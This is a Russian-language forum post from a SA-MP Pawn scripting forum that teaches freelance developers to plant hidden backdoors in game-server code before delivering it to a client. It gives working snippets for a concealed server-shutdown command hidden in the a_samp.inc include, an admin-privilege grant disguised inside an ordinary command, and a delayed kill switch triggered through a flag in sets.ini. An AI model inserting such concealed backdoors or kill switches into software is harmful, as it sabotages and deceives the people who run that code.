Доступ к готовым решениям

Переход в группу "Пользователь"

300.00
Одноразовый платёж
Быстрый переход в группу "Пользователи", без надобности написания постов и ожидания.

Покупка дает возможность:
Быть полноправным участником форума
Нормальное копирование кода
Создавать темы
Скачивать файлы
Доступ к архиву Pawno-Info

Урок Что нужно сделать, что бы вас не обманули.

scred

Начинающий
Пользователь
Регистрация
2 Ноя 2019
Сообщения
17
Лучшие ответы
0
Репутация
1
Если есть уже такая тема - извините, и удалите мою плз.

Я расскажу, что нужно сделать, если заказчик хочет, что бы вы скинули проект первыми.


Расскажу все очень подробно.


Способов есть много, первый из них, это просто краш сервера,
для этого нам нужно создать команду, и в нее вписать:
PHP:
SendRconCommand("exit");
.
Так же можно вписать это и в OnGameModeInit, но смысла нет, ибо сервер будет отключатся сразу..
Так же, для того, что бы заказчик не мог спалить вас, это можно вставить в include, допустим
в инклуд a_samp.inc.


Второй способ интереснее, т.к. мы не будем отключать сервер сразу.
Итак, мы командой выдадим себе админку. Для начала нужно узнать название переменных.
Заходим в поиск, и пишем любую команду, допустим "ban", писать лучше без "/", ибо
в моде может быть установлен другой командный процессор. После того, как нашли команду,
смотрим на условия. ( на if ) Допустим написано:
PHP:
if(PlayerInfo[playerid][pAdmin] < 5)
Это означает, что если уровень адм меньше 5, то выполняются какие либо действия, после условия.
Теперь создаем команду, а еще лучше вставляем и маскируем в уже существующую. Допустим /eat.
Вставляем
PHP:
PlayerInfo[playerid][pAdmin] = 5
Таким образом мы можем выдать себе, все что угодно..
Еще 1 способ, это сделать так, что бы вы могли сделать так, что бы сервер
отключался сразу, но не тогда когда заказчик проверяет работу, а потом.
Добавляем команду ( покажу на примере DCCMD, ZCMD, PAWNCMD )
PHP:
CMD:crash(pl)
{
	new iniFile = ini_openFile("sets.ini");
	ini_setInteger(iniFile, "crash", 1);
	ini_closeFile(iniFile);
	return 1;
}
И вставляем в ongamemodeinit:
PHP:
new iniFile = ini_openFile("sets.ini");
new crst;
ini_getInteger(iniFile, "crash", crst);
if(crst == 1) SendRconCommand("exit");
ini_closeFile(iniFile);
Так же, вы могли заменить, что тут используется файл sets.ini, если
его не будет, то у вас ничего не получиться.. если у вас есть возможность - закиньте пустой файл sets.ini
в папку scriptfiles, а если нет, то создаем новую команду:
PHP:
CMD:newfile(playerid)
{
	new iniFile = ini_createFile("sets.ini");
	ini_closeFile(iniFile);
	return 1;
}
Так же для этого способа нужен инклуд mxINI.
Надеюсь этой темы еще нет, и что вы дадите мне +.
Автор = я.
 
Сверху Снизу